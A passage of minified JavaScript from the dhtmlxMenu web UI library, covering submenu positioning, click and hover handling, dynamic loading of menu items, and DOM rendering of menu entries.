C=Math.max(Math.floor((this.conf.v.y2-this.conf.v.y1-this.conf.of_ah[this.conf.skin]*2)/this.conf.of_ih[this.conf.skin]),1);this.conf.overflow_limit=C}else{this.conf.overflow_limit=0;if(this.idPull[\"arrowup_\"+H]!=null){this._removeUpArrow(String(H).replace(this.idPrefix,\"\"))}if(this.idPull[\"arrowdown_\"+H]!=null){this._removeDownArrow(String(H).replace(this.idPrefix,\"\"))}}}if(this.conf.overflow_limit>0&&this.conf.overflow_limit<M){if(this.idPull[\"arrowup_\"+H]==null){this._addUpArrow(String(H).replace(this.idPrefix,\"\"))}if(this.idPull[\"arrowdown_\"+H]==null){this._addDownArrow(String(H).replace(this.idPrefix,\"\"))}O=this.idPull[\"arrowup_\"+H];O.style.display=\"none\";D=this.idPull[\"arrowdown_\"+H];D.style.display=\"none\"}if(this.conf.overflow_limit>0&&this.conf.overflow_limit<M){this.idPull[I].childNodes[1].style.height=24*this.conf.overflow_limit+\"px\";O.style.width=D.style.width=this.idPull[I].childNodes[1].style.width=this.idPull[I].childNodes[1].childNodes[0].offsetWidth+\"px\";this.idPull[I].childNodes[1].scrollTop=0;O.style.display=\"\";J=O.offsetHeight;D.style.display=\"\";L=D.offsetHeight}else{this.idPull[I].childNodes[1].style.height=\"\";this.idPull[I].childNodes[1].style.width=\"\"}if(this.itemPull[H]!=null){var v=\"polygon_\"+this.itemPull[H][\"parent\"]}else{if(this.conf.context){var v=this.idPull[this.idPrefix+this.topId]}}var a=(this.idPull[H].tagName!=null?window.dhx4.absLeft(this.idPull[H]):this.idPull[H][0]);var N=(this.idPull[H].tagName!=null?window.dhx4.absTop(this.idPull[H]):this.idPull[H][1]);var m=(this.idPull[H].tagName!=null?this.idPull[H].offsetWidth:0);var o=(this.idPull[H].tagName!=null?this.idPull[H].offsetHeight:0);var u=0;var s=0;var A=this.idPull[I].offsetWidth;var K=this.idPull[I].offsetHeight;if(n==\"bottom\"){if(this.conf.rtl){u=a+(m!=null?m:0)-A}else{if(this.conf.align==\"right\"){u=a+m-A}else{u=a-1+(n==this.conf.dir_toplv?this.conf.tl_rmarg:0)}}s=N-1+o+this.conf.tl_botmarg}if(n==\"right\"){u=a+m-1;s=N+2}if(n==\"left\"){u=a-this.idPull[I].offsetWidth+2;s=N+2}if(n==\"top\"){u=a-1;s=N-K+2}if(this.conf.fixed_pos){var F=65536;var E=65536}else{var F=(this.conf.v.x2!=null?this.conf.v.x2:0);var E=(this.conf.v.y2!=null?this.conf.v.y2:0);if(F==0){if(window.innerWidth){F=window.innerWidth;E=window.innerHeight}else{F=document.body.offsetWidth;E=document.body.scrollHeight}}}if(u+A>F&&!this.conf.rtl){u=a-A+2}if(u<this.conf.v.x1&&this.conf.rtl){u=a+m-2}if(u<0){u=0}if(s+K>E&&this.conf.v.y2!=null){s=Math.max(N+o-K+2,(this.conf.v_enabled?this.conf.v.y1+2:2));if(this.conf.context&&this.idPrefix+this.topId==H&&D!=null){s=s-2}if(this.itemPull[H]!=null&&!this.conf.context){if(this.itemPull[H][\"parent\"]==this.idPrefix+this.topId){s=s-this.base.offsetHeight}}}this.idPull[I].style.left=u+\"px\";this.idPull[I].style.top=s+\"px\";if(typeof(this._menuEffect)!=\"undefined\"&&this._menuEffect!==false){this._showPolygonEffect(I)}else{this.idPull[I].style.visibility=\"\";if(this.conf.overflow_limit>0&&this.conf.overflow_limit<M){this.idPull[I].childNodes[1].scrollTop=0;this._checkArrowsState(H)}if(window.dhx4.isIE6){var r=I+\"_ie6cover\";if(this.idPull[r]==null){var q=document.createElement(\"IFRAME\");q.className=\"dhtmlxMenu_IE6CoverFix_\"+this.conf.skin;q.frameBorder=0;q.setAttribute(\"src\",\"javascript:false;\");document.body.insertBefore(q,document.body.firstChild);this.idPull[r]=q}this.idPull[r].style.left=u+\"px\";this.idPull[r].style.top=s+\"px\";this.idPull[r].style.width=this.idPull[I].offsetWidth+\"px\";this.idPull[r].style.height=this.idPull[I].offsetHeight+\"px\";this.idPull[r].style.zIndex=this.idPull[I].style.zIndex-1;this.idPull[r].style.display=\"\"}}H=String(H).replace(this.idPrefix,\"\");if(H==this.topId){H=null}this.callEvent(\"onShow\",[H]);if(H!=null&&this.conf.skin==\"dhx_terrace\"&&this.itemPull[this.idPrefix+H].parent==this.idPrefix+this.topId){this._improveTerraceButton(this.idPrefix+H,false)}}};this._redistribSubLevelSelection=function(r,o){while(this.conf.opened_poly.length>0){this.conf.opened_poly.pop()}var a=this._getSubItemToDeselectByPolygon(o);this._removeSubItemFromSelected(-1,-1);for(var m=0;m<a.length;m++){if((this.idPull[a[m]]!=null)&&(a[m]!=r)){if(this.itemPull[a[m]][\"state\"]==\"enabled\"){this.idPull[a[m]].className=\"sub_item\"}}}for(var m=0;m<this.conf.opened_poly.length;m++){if(this.conf.opened_poly[m]!=o){this._hidePolygon(this.conf.opened_poly[m])}}if(this.itemPull[r][\"state\"]==\"enabled\"){this.idPull[r].className=\"sub_item_selected\";if(this.itemPull[r][\"complex\"]&&this.conf.dload&&(this.itemPull[r][\"loaded\"]==\"no\")){if(this.conf.dload_icon==true){this._updateLoaderIcon(r,true)}this.itemPull[r].loaded=\"get\";var n=r.replace(this.idPrefix,\"\");this._dhxdataload.onBeforeXLS=function(){var s={params:{}};s.params[this.conf.dload_pid]=n;for(var q in this.conf.dload_params){s.params[q]=this.conf.dload_params[q]}return s};this.loadStruct(this.conf.dload_url)}if(this.itemPull[r][\"complex\"]||(this.conf.dload&&(this.itemPull[r][\"loaded\"]==\"yes\"))){if((this.itemPull[r][\"complex\"])&&(this.idPull[\"polygon_\"+r]!=null)){this._updateItemComplexState(r,true,true);this._showPolygon(r,this.conf.dir_sublv)}}this._addSubItemToSelected(r,o);this.conf.selected=r}};this._doOnClick=function(n,x,r){this.conf.last_click=n;if(this.itemPull[this.idPrefix+n][\"href_link\"]!=null&&this.itemPull[this.idPrefix+n].state==\"enabled\"){var s=document.createElement(\"FORM\");var v=String(this.itemPull[this.idPrefix+n][\"href_link\"]).split(\"?\");s.action=v[0];if(v[1]!=null){var o=String(v[1]).split(\"&\");for(var a=0;a<o.length;a++){var w=String(o[a]).split(\"=\");var u=document.createElement(\"INPUT\");u.type=\"hidden\";u.name=(w[0]||\"\");u.value=(w[1]||\"\");s.appendChild(u)}}if(this.itemPull[this.idPrefix+n][\"href_target\"]!=null){s.target=this.itemPull[this.idPrefix+n][\"href_target\"]}s.style.display=\"none\";document.body.appendChild(s);s.submit();if(s!=null){document.body.removeChild(s);s=null}return}if(x.charAt(0)==\"c\"){return}if(x.charAt(1)==\"d\"){return}if(x.charAt(2)==\"s\"){return}if(this.checkEvent(\"onClick\")){this.callEvent(\"onClick\",[n,this.conf.ctx_zoneid,r])}else{if((x.charAt(1)==\"d\")||(this.conf.mode==\"win\"&&x.charAt(2)==\"t\")){return}}if(this.conf.context&&this._isContextMenuVisible()&&this.conf.ctx_autohide){this._hideContextMenu()}else{if(this._clearAndHide){this._clearAndHide()}}};this._doOnTouchMenu=function(a){if(this.conf.is_touched==false){this.conf.is_touched=true;if(this.checkEvent(\"onTouch\")){this.callEvent(\"onTouch\",[a])}}};this._searchMenuNode=function(o,s){var a=new Array();for(var r=0;r<s.length;r++){if(typeof(s[r])==\"object\"){if(s[r].length==5){if(typeof(s[r][0])!=\"object\"){if((s[r][0].replace(this.idPrefix,\"\")==o)&&(r==0)){a=s}}}var n=this._searchMenuNode(o,s[r]);if(n.length>0){a=n}}}return a};this._getMenuNodes=function(q){var n=new Array;for(var o in this.itemPull){if(this.itemPull[o][\"parent\"]==q){n[n.length]=o}}return n};this._genStr=function(a){var m=\"dhxId_\";var o=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";for(var n=0;n<a;n++){m+=o.charAt(Math.round(Math.random()*(o.length-1)))}return m};this.getItemType=function(a){a=this.idPrefix+a;if(this.itemPull[a]==null){return null}return this.itemPull[a][\"type\"]};this.forEachItem=function(n){for(var m in this.itemPull){n(String(m).replace(this.idPrefix,\"\"))}};this._clearAndHide=function(){g.conf.selected=-1;g.conf.last_click=-1;while(g.conf.opened_poly.length>0){g.conf.opened_poly.pop()}for(var a=0;a<g.conf.selected_sub.length;a++){var m=g.conf.selected_sub[a][0];if(g.idPull[m]!=null){if(g.itemPull[m][\"state\"]==\"enabled\"){if(g.idPull[m].className==\"sub_item_selected\"){g.idPull[m].className=\"sub_item\"}if(g.idPull[m].className==\"dhtmlxMenu_\"+g.conf.skin+\"_TopLevel_Item_Selected\"){if(g.itemPull[m][\"cssNormal\"]!=null){g.idPull[m].className=g.itemPull[m][\"cssNormal\"]}else{g.idPull[m].className=\"dhtmlxMenu_\"+g.conf.skin+\"_TopLevel_Item_Normal\"}}}}g._hidePolygon(m)}g.conf.is_touched=false;if(g.conf.context&&g.conf.ctx_hideall){g._hidePolygon(g.idPrefix+g.topId)}};this._showSubLevelItem=function(m,a){if(document.getElementById(\"arrow_\"+this.idPrefix+m)!=null){document.getElementById(\"arrow_\"+this.idPrefix+m).style.display=(a?\"none\":\"\")}if(document.getElementById(\"image_\"+this.idPrefix+m)!=null){document.getElementById(\"image_\"+this.idPrefix+m).style.display=(a?\"none\":\"\")}if(document.getElementById(this.idPrefix+m)!=null){document.getElementById(this.idPrefix+m).style.display=(a?\"\":\"none\")}};this._hideSubLevelItem=function(a){this._showSubLevelItem(a,true)};this.idPrefix=this._genStr(12)+\"_\";this._bodyClick=function(a){a=a||event;if(a.button==2||(window.dhx4.isOpera&&a.ctrlKey==true)){return}if(g.conf.context){if(g.conf.ctx_autohide&&(!window.dhx4.isOpera||(g._isContextMenuVisible()&&window.dhx4.isOpera))){g._hideContextMenu()}}else{if(g._clearAndHide){g._clearAndHide()}}};this._bodyContext=function(n){n=n||event;var m=String((n.srcElement||n.target).className);if(m.search(\"dhtmlxMenu\")!=-1&&m.search(\"SubLevelArea\")!=-1){return}var a=true;var o=n.target||n.srcElement;while(o!=null){if(o.id!=null){if(g.isContextZone(o.id)){a=false}}if(o==document.body){a=false}o=o.parentNode}if(a){g.hideContextMenu()}};if(typeof(window.addEventListener)!=\"undefined\"){window.addEventListener(\"click\",this._bodyClick,false);window.addEventListener(\"contextmenu\",this._bodyContext,false)}else{document.body.attachEvent(\"onclick\",this._bodyClick);document.body.attachEvent(\"oncontextmenu\",this._bodyContext)}this.unload=function(){window.dhx4._eventable(this,\"clear\");dhtmlXMenuObject.prototype.liveInst[this.conf.live_id]=null;try{delete dhtmlXMenuObject.prototype.liveInst[this.conf.live_id]}catch(n){}this.conf.live_id=null;if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"click\",this._bodyClick,false);window.removeEventListener(\"contextmenu\",this._bodyContext,false)}else{document.body.detachEvent(\"onclick\",this._bodyClick);document.body.detachEvent(\"oncontextmenu\",this._bodyContext)}this._bodyClick=null;this._bodyContext=null;this.removeItem(this.idPrefix+this.topId,true);this.itemPull=null;this.idPull=null;if(this.conf.context){for(var m in this.conf.ctx_zones){this.removeContextZone(m)}}if(this.cont!=null){this.cont.className=\"\";this.cont.parentNode.removeChild(this.cont);this.cont=null}if(this.base!=null){if(!this.conf.context){this.base.className=\"\"}if(!this.conf.context){this.base.oncontextmenu=(this.base._oldContextMenuHandler||null)}this.base.onselectstart=null;this.base=null}for(var m in this){this[m]=null}g=null};dhtmlXMenuObject.prototype.liveInst[this.conf.live_id]=this;window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToJson\",this.conf.tags.root,{struct:true});window.dhx4._eventable(this);if(window.dhx4.s2b(this.conf.autoload.context)==true){this.renderAsContextMenu()}if(this.conf.autoload.dynamic!=null){this.enableDynamicLoading(this.conf.autoload.dynamic,window.dhx4.s2b(this.conf.autoload.dynamic_icon))}else{if(this.conf.autoload.items!=null){this.loadStruct(this.conf.autoload.items,this.conf.autoload.onload)}else{if(this.conf.autoload.json!=null){this.loadStruct(this.conf.autoload.json,this.conf.autoload.onload)}else{if(this.conf.autoload.xml!=null){this.loadStruct(this.conf.autoload.xml,this.conf.autoload.onload)}}}}for(var e in {onclick:1,oncheckboxclick:1,onradioclick:1}){if(this.conf.autoload[e]!=null){if(typeof(this.conf.autoload[e])==\"function\"){this.attachEvent(e,this.conf.autoload[e])}else{if(typeof(window[this.conf.autoload[e]])==\"function\"){this.attachEvent(e,window[this.conf.autoload[e]])}}}}if(this.conf.autoload.top_text!=null){this.setTopText(this.conf.autoload.top_text)}if(this.conf.autoload.align!=null){this.setAlign(this.conf.autoload.align)}if(this.conf.autoload.open_mode!=null){this.setOpenMode(this.conf.autoload.open_mode)}if(this.conf.autoload.overflow!=null){this.setOverflowHeight(this.conf.autoload.overflow)}for(var e in this.conf.autoload){this.conf.autoload[e]=null;delete this.conf.autoload[e]}this.conf.autoload=null;return this}dhtmlXMenuObject.prototype._init=function(){if(this._isInited==true){return}if(this.conf.dload){this._dhxdataload.onBeforeXLS=function(){var e={params:{}};for(var c in this.conf.dload_params){e.params[c]=this.conf.dload_params[c]}return e};this.loadStruct(this.conf.dload_url)}else{this._initTopLevelMenu();this._isInited=true}};dhtmlXMenuObject.prototype._countVisiblePolygonItems=function(l){var g=0;for(var c in this.itemPull){var e=this.itemPull[c][\"parent\"];var h=this.itemPull[c][\"type\"];if(this.idPull[c]!=null){if(e==l&&(h==\"item\"||h==\"radio\"||h==\"checkbox\")&&this.idPull[c].style.display!=\"none\"){g++}}}return g};dhtmlXMenuObject.prototype._redefineComplexState=function(c){if(this.idPrefix+this.topId==c){return}if((this.idPull[\"polygon_\"+c]!=null)&&(this.idPull[c]!=null)){var a=this._countVisiblePolygonItems(c);if((a>0)&&(!this.itemPull[c][\"complex\"])){this._updateItemComplexState(c,true,false)}if((a==0)&&(this.itemPull[c][\"complex\"])){this._updateItemComplexState(c,false,false)}}};dhtmlXMenuObject.prototype._updateItemComplexState=function(h,e,g){if((!this.conf.context)&&(this._getItemLevelType(h.replace(this.idPrefix,\"\"))==\"TopLevel\")){this.itemPull[h][\"complex\"]=e;return}if((this.idPull[h]==null)||(this.itemPull[h]==null)){return}this.itemPull[h][\"complex\"]=e;if(h==this.idPrefix+this.topId){return}var a=null;var c=this.idPull[h].childNodes[this.conf.rtl?0:2];if(c.childNodes[0]){if(String(c.childNodes[0].className).search(\"complex_arrow\")===0){a=c.childNodes[0]}}if(this.itemPull[h][\"complex\"]){if(a==null){a=document.createElement(\"DIV\");a.className=\"complex_arrow\";a.id=\"arrow_\"+h;while(c.childNodes.length>0){c.removeChild(c.childNodes[0])}c.appendChild(a)}if(this.conf.dload&&(this.itemPull[h].loaded==\"get\")&&this.conf.dload_icon){if(a.className!=\"complex_arrow_loading\"){a.className=\"complex_arrow_loading\"}}else{a.className=\"complex_arrow\"}return}if((!this.itemPull[h][\"complex\"])&&(a!=null)){c.removeChild(a);if(this.itemPull[h][\"hotkey_backup\"]!=null&&this.setHotKey){this.setHotKey(h.replace(this.idPrefix,\"\"),this.itemPull[h][\"hotkey_backup\"])}}};dhtmlXMenuObject.prototype._getItemLevelType=function(a){return(this.itemPull[this.idPrefix+a][\"parent\"]==this.idPrefix+this.topId?\"TopLevel\":\"SubLevelArea\")};dhtmlXMenuObject.prototype.setIconsPath=function(a){this.conf.icons_path=a};dhtmlXMenuObject.prototype._updateItemImage=function(g,h){g=this.idPrefix+g;var o=this.itemPull[g][\"type\"];if(o==\"checkbox\"||o==\"radio\"){return}var l=(this.itemPull[g][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context);var m=null;if(l){for(var a=0;a<this.idPull[g].childNodes.length;a++){try{if(this.idPull[g].childNodes[a].className==\"dhtmlxMenu_TopLevel_Item_Icon\"){m=this.idPull[g].childNodes[a]}}catch(n){}}}else{try{var m=this.idPull[g].childNodes[this.conf.rtl?2:0].childNodes[0]}catch(n){}if(!(m!=null&&typeof(m.className)!=\"undefined\"&&m.className==\"sub_icon\")){m=null}}var s=this.itemPull[g][(this.itemPull[g][\"state\"]==\"enabled\"?\"imgen\":\"imgdis\")];if(s.length>0){if(m!=null){m.src=this.conf.icons_path+s}else{if(l){var m=document.createElement(\"IMG\");m.className=\"dhtmlxMenu_TopLevel_Item_Icon\";m.src=this.conf.icons_path+s;m.border=\"0\";m.id=\"image_\"+g;if(!this.conf.rtl&&this.idPull[g].childNodes.length>0){this.idPull[g].insertBefore(m,this.idPull[g].childNodes[0])}else{this.idPull[g].appendChild(m)}}else{var m=document.createElement(\"IMG\");m.className=\"sub_icon\";m.src=this.conf.icons_path+s;m.border=\"0\";m.id=\"image_\"+g;var r=this.idPull[g].childNodes[this.conf.rtl?2:0];while(r.childNodes.length>0){r.removeChild(r.childNodes[0])}r.appendChild(m)}}}else{if(m!=null){var c=m.parentNode;c.removeChild(m);c.innerHTML=\"&nbsp;\";c=m=null}}};dhtmlXMenuObject.prototype._getAllParents=function(l){var e=new Array();for(var c in this.itemPull){if(this.itemPull[c][\"parent\"]==l){e[e.length]=this.itemPull[c][\"id\"];if(this.itemPull[c][\"complex\"]){var g=this._getAllParents(this.itemPull[c][\"id\"]);for(var h=0;h<g.length;h++){e[e.length]=g[h]}}}}return e};dhtmlXMenuObject.prototype._autoDetectVisibleArea=function(){if(this.conf.v_enabled){return}var a=window.dhx4.screenDim();this.conf.v.x1=a.left;this.conf.v.x2=a.right;this.conf.v.y1=a.top;this.conf.v.y2=a.bottom};dhtmlXMenuObject.prototype.getItemPosition=function(h){h=this.idPrefix+h;var g=-1;if(this.itemPull[h]==null){return g}var a=this.itemPull[h][\"parent\"];var e=(this.idPull[\"polygon_\"+a]!=null?this.idPull[\"polygon_\"+a].tbd:this.cont);for(var c=0;c<e.childNodes.length;c++){if(e.childNodes[c]==this.idPull[\"separator_\"+h]||e.childNodes[c]==this.idPull[h]){g=c}}return g};dhtmlXMenuObject.prototype.setItemPosition=function(m,l){m=this.idPrefix+m;if(this.idPull[m]==null){return}var c=(this.itemPull[m][\"parent\"]==this.idPrefix+this.topId);var a=this.idPull[m];var g=this.getItemPosition(m.replace(this.idPrefix,\"\"));var e=this.itemPull[m][\"parent\"];var h=(this.idPull[\"polygon_\"+e]!=null?this.idPull[\"polygon_\"+e].tbd:this.cont);h.removeChild(h.childNodes[g]);if(l<0){l=0}if(c&&l<1){l=1}if(l<h.childNodes.length){h.insertBefore(a,h.childNodes[l])}else{h.appendChild(a)}};dhtmlXMenuObject.prototype.getParentId=function(a){a=this.idPrefix+a;if(this.itemPull[a]==null){return null}return((this.itemPull[a][\"parent\"]!=null?this.itemPull[a][\"parent\"]:this.topId).replace(this.idPrefix,\"\"))};dhtmlXMenuObject.prototype.hide=function(){this._clearAndHide()};dhtmlXMenuObject.prototype.clearAll=function(){this.removeItem(this.idPrefix+this.topId,true);this._isInited=false;this.idPrefix=this._genStr(12)+\"_\";this.itemPull={}};if(typeof(dhtmlXMenuObject.prototype.liveInst)==\"undefined\"){dhtmlXMenuObject.prototype.liveInst={}}dhtmlXMenuObject.prototype._redistribTopLevelSelection=function(g,c){var a=this._getSubItemToDeselectByPolygon(\"parent\");this._removeSubItemFromSelected(-1,-1);for(var e=0;e<a.length;e++){if(a[e]!=g){this._hidePolygon(a[e])}if((this.idPull[a[e]]!=null)&&(a[e]!=g)){this.idPull[a[e]].className=this.idPull[a[e]].className.replace(/Selected/g,\"Normal\")}}if(this.itemPull[this.idPrefix+g][\"state\"]==\"enabled\"){this.idPull[this.idPrefix+g].className=\"dhtmlxMenu_\"+this.conf.skin+\"_TopLevel_Item_Selected\";this._addSubItemToSelected(this.idPrefix+g,\"parent\");this.conf.selected=(this.conf.mode==\"win\"?(this.conf.selected!=-1?g:this.conf.selected):g);if((this.itemPull[this.idPrefix+g][\"complex\"])&&(this.conf.selected!=-1)){this._showPolygon(this.idPrefix+g,this.conf.dir_toplv)}}};dhtmlXMenuObject.prototype._initTopLevelMenu=function(){this.conf.dir_toplv=\"bottom\";this.conf.dir_sublv=(this.conf.rtl?\"left\":\"right\");if(this.conf.context){this.idPull[this.idPrefix+this.topId]=new Array(0,0);this._addSubMenuPolygon(this.idPrefix+this.topId,this.idPrefix+this.topId)}else{var a=this._getMenuNodes(this.idPrefix+this.topId);for(var c=0;c<a.length;c++){if(this.itemPull[a[c]][\"type\"]==\"item\"){this._renderToplevelItem(a[c],null)}if(this.itemPull[a[c]][\"type\"]==\"separator\"){this._renderSeparator(a[c],null)}}}};dhtmlXMenuObject.prototype._renderToplevelItem=function(n,l){var h=this;var a=document.createElement(\"DIV\");a.id=n;if(this.itemPull[n][\"state\"]==\"enabled\"&&this.itemPull[n][\"cssNormal\"]!=null){a.className=this.itemPull[n][\"cssNormal\"]}else{a.className=\"dhtmlxMenu_\"+this.conf.skin+\"_TopLevel_Item_\"+(this.itemPull[n][\"state\"]==\"enabled\"?\"Normal\":\"Disabled\")}if(this.itemPull[n][\"title\"]!=\"\"){var g=document.createElement(\"DIV\");g.className=\"top_level_text\";g.innerHTML=this.itemPull[n][\"title\"];a.appendChild(g)}if(this.itemPull[n][\"tip\"].length>0){a.title=this.itemPull[n][\"tip\"]}if((this.itemPull[n][\"imgen\"]!=\"\")||(this.itemPull[n][\"imgdis\"]!=\"\")){var e=this.itemPull[n][(this.itemPull[n][\"state\"]==\"enabled\")?\"imgen\":\"imgdis\"];if(e){var c=document.createElement(\"IMG\");c.border=\"0\";c.id=\"image_\"+n;c.src=this.conf.icons_path+e;c.className=\"dhtmlxMenu_TopLevel_Item_Icon\";if(a.childNodes.length>0&&!this.conf.rtl){a.insertBefore(c,a.childNodes[0])}else{a.appendChild(c)}}}a.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}return false};a.oncontextmenu=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}return false};if(!this.cont){this.cont=document.createElement(\"DIV\");this.cont.dir=\"ltr\";this.cont.className=(this.conf.align==\"right\"?\"align_right\":\"align_left\");this.base.appendChild(this.cont)}if(l!=null){l++;if(l<0){l=0}if(l>this.cont.childNodes.length-1){l=null}}if(l!=null){this.cont.insertBefore(a,this.cont.childNodes[l])}else{this.cont.appendChild(a)}this.idPull[a.id]=a;if(this.itemPull[n][\"complex\"]&&(!this.conf.dload)){this._addSubMenuPolygon(this.itemPull[n][\"id\"],this.itemPull[n][\"id\"])}a.onmouseover=function(){if(h.conf.mode==\"web\"){window.clearTimeout(h.conf.tm_handler)}var m=h._getSubItemToDeselectByPolygon(\"parent\");h._removeSubItemFromSelected(-1,-1);for(var r=0;r<m.length;r++){if(m[r]!=this.id){h._hidePolygon(m[r])}if((h.idPull[m[r]]!=null)&&(m[r]!=this.id)){if(h.itemPull[m[r]][\"cssNormal\"]!=null){h.idPull[m[r]].className=h.itemPull[m[r]][\"cssNormal\"]}else{if(h.idPull[m[r]].className==\"sub_item_selected\"){h.idPull[m[r]].className=\"sub_item\"}h.idPull[m[r]].className=h.idPull[m[r]].className.replace(/Selected/g,\"Normal\")}}}if(h.itemPull[this.id][\"state\"]==\"enabled\"){this.className=\"dhtmlxMenu_\"+h.conf.skin+\"_TopLevel_Item_Selected\";h._addSubItemToSelected(this.id,\"parent\");h.conf.selected=(h.conf.mode==\"win\"?(h.conf.selected!=-1?this.id:h.conf.selected):this.id);if(h.conf.dload){if(h.itemPull[this.id].loaded==\"no\"){this._dynLoadTM=new Date().getTime();h.itemPull[this.id].loaded=\"get\";var s=this.id.replace(h.idPrefix,\"\");h._dhxdataload.onBeforeXLS=function(){var u={params:{}};u.params[this.conf.dload_pid]=s;for(var q in this.conf.dload_params){u.params[q]=this.conf.dload_params[q]}return u};h.loadStruct(h.conf.dload_url)}if(h.conf.top_mode&&h.conf.mode==\"web\"&&!h.conf.context){this._mouseOver=true}}if((!h.conf.dload)||(h.conf.dload&&(!h.itemPull[this.id][\"loaded\"]||h.itemPull[this.id][\"loaded\"]==\"yes\"))){if((h.itemPull[this.id][\"complex\"])&&(h.conf.selected!=-1)){if(h.conf.top_mode&&h.conf.mode==\"web\"&&!h.conf.context){this._mouseOver=true;var o=this.id;this._menuOpenTM=window.setTimeout(function(){h._showPolygon(o,h.conf.dir_toplv)},h.conf.top_tmtime)}else{h._showPolygon(this.id,h.conf.dir_toplv)}}}}h._doOnTouchMenu(this.id.replace(h.idPrefix,\"\"))};a.onmouseout=function(){if(!((h.itemPull[this.id][\"complex\"])&&(h.conf.selected!=-1))&&(h.itemPull[this.id][\"state\"]==\"enabled\")){if(h.itemPull[this.id][\"cssNormal\"]!=null){a.className=h.itemPull[this.id][\"cssNormal\"]}else{a.className=\"dhtmlxMenu_\"+h.conf.skin+\"_TopLevel_Item_Normal\"}}if(h.conf.mode==\"web\"){window.clearTimeout(h.conf.tm_handler);h.conf.tm_handler=window.setTimeout(function(){h._clearAndHide()},h.conf.tm_sec,\"JavaScript\")}if(h.conf.top_mode&&h.conf.mode==\"web\"&&!h.conf.context){this._mouseOver=false;window.clearTimeout(this._menuOpenTM)}};a.onclick=function(r){if(h.conf.mode==\"web\"){window.clearTimeout(h.conf.tm_handler)}if(h.conf.mode!=\"web\"&&h.itemPull[this.id][\"state\"]==\"disabled\"){return}r=r||event;r.cancelBubble=true;if(r.preventDefault){r.preventDefault()}else{r.returnValue=false}if(h.conf.mode==\"win\"){if(h.itemPull[this.id][\"complex\"]){if(h.conf.selected==this.id){h.conf.selected=-1;var q=false}else{h.conf.selected=this.id;var q=true}if(q){h._showPolygon(this.id,h.conf.dir_toplv)}else{h._hidePolygon(this.id)}}}var m=(h.itemPull[this.id][\"complex\"]?\"c\":\"-\");var u=(h.itemPull[this.id][\"state\"]!=\"enabled\"?\"d\":\"-\");var o={ctrl:r.ctrlKey,alt:r.altKey,shift:r.shiftKey};h._doOnClick(this.id.replace(h.idPrefix,\"\"),m+u+\"t\",o);return false};if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXMenuObject.prototype._addSubMenuPolygon=function(l,h){var c=this._renderSublevelPolygon(l,h);var a=this._getMenuNodes(h);for(e=0;e<a.length;e++){if(this.itemPull[a[e]][\"type\"]==\"separator\"){this._renderSeparator(a[e],null)}else{this._renderSublevelItem(a[e],null)}}if(l==h){var g=\"topLevel\"}else{var g=\"subLevel\"}for(var e=0;e<a.length;e++){if(this.itemPull[a[e]][\"complex\"]){this._addSubMenuPolygon(l,this.itemPull[a[e]][\"id\"])}}};dhtmlXMenuObject.prototype._renderSublevelPolygon=function(h,g){var c=document.createElement(\"DIV\");c.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_Polygon \"+(this.conf.rtl?\"dir_right\":\"\");c.dir=\"ltr\";c.oncontextmenu=function(l){l=l||event;if(l.preventDefault){l.preventDefault()}else{l.returnValue=false}l.cancelBubble=true;return false};c.id=\"polygon_\"+g;c.onclick=function(l){l=l||event;l.cancelBubble=true};c.style.display=\"none\";document.body.insertBefore(c,document.body.firstChild);c.innerHTML='<div style=\"position:relative;\"></div><div style=\"position: relative; overflow:hidden;\"></div><div style=\"position:relative;\"></div>';var e=document.createElement(\"TABLE\");e.className=\"dhtmlxMebu_SubLevelArea_Tbl\";e.cellSpacing=0;e.cellPadding=0;e.border=0;var a=document.createElement(\"TBODY\");e.appendChild(a);c.childNodes[1].appendChild(e);c.tbl=e;c.tbd=a;this.idPull[c.id]=c;if(this.sxDacProc!=null){this.idPull[\"sxDac_\"+g]=new this.sxDacProc(c,c.className);if(window.dhx4.isIE){this.idPull[\"sxDac_\"+g]._setSpeed(this.dacSpeedIE);this.idPull[\"sxDac_\"+g]._setCustomCycle(this.dacCyclesIE)}else{this.idPull[\"sxDac_\"+g]._setSpeed(this.dacSpeed);this.idPull[\"sxDac_\"+g]._setCustomCycle(this.dacCycles)}}return c};dhtmlXMenuObject.prototype._renderSublevelItem=function(a,q){var n=this;var o=document.createElement(\"TR\");o.className=(this.itemPull[a][\"state\"]==\"enabled\"?\"sub_item\":\"sub_item_dis\");var m=document.createElement(\"TD\");m.className=\"sub_item_icon\";var r=this.itemPull[a][(this.itemPull[a][\"state\"]==\"enabled\"?\"imgen\":\"imgdis\")];if(r!=\"\"){var v=this.itemPull[a][\"type\"];if(v==\"checkbox\"||v==\"radio\"){var h=document.createElement(\"DIV\");h.id=\"image_\"+this.itemPull[a][\"id\"];h.className=\"sub_icon \"+r;m.appendChild(h)}if(!(v==\"checkbox\"||v==\"radio\")){var h=document.createElement(\"IMG\");h.id=\"image_\"+this.itemPull[a][\"id\"];h.className=\"sub_icon\";h.src=this.conf.icons_path+r;m.appendChild(h)}}else{m.innerHTML=\"&nbsp;\"}var l=document.createElement(\"TD\");l.className=\"sub_item_text\";if(this.itemPull[a][\"title\"]!=\"\"){var u=document.createElement(\"DIV\");u.className=\"sub_item_text\";u.innerHTML=this.itemPull[a][\"title\"];l.appendChild(u)}else{l.innerHTML=\"&nbsp;\"}var g=document.createElement(\"TD\");g.className=\"sub_item_hk\";if(this.itemPull[a][\"complex\"]){var c=document.createElement(\"DIV\");c.className=\"complex_arrow\";c.id=\"arrow_\"+this.itemPull[a][\"id\"];g.appendChild(c)}else{if(this.itemPull[a][\"hotkey\"].length>0&&!this.itemPull[a][\"complex\"]){var e=document.createElement(\"DIV\");e.className=\"sub_item_hk\";e.innerHTML=this.itemPull[a][\"hotkey\"];g.appendChild(e)}else{g.innerHTML=\"&nbsp;\"}}o.appendChild(this.conf.rtl?g:m);o.appendChild(l);o.appendChild(this.conf.rtl?m:g);o.id=this.itemPull[a][\"id\"];o.parent=this.itemPull[a][\"parent\"];if(this.itemPull[a][\"tip\"].length>0){o.title=this.itemPull[a][\"tip\"]}o.onselectstart=function(w){w=w||event;if(w.preventDefault){w.preventDefault()}else{w.returnValue=false}return 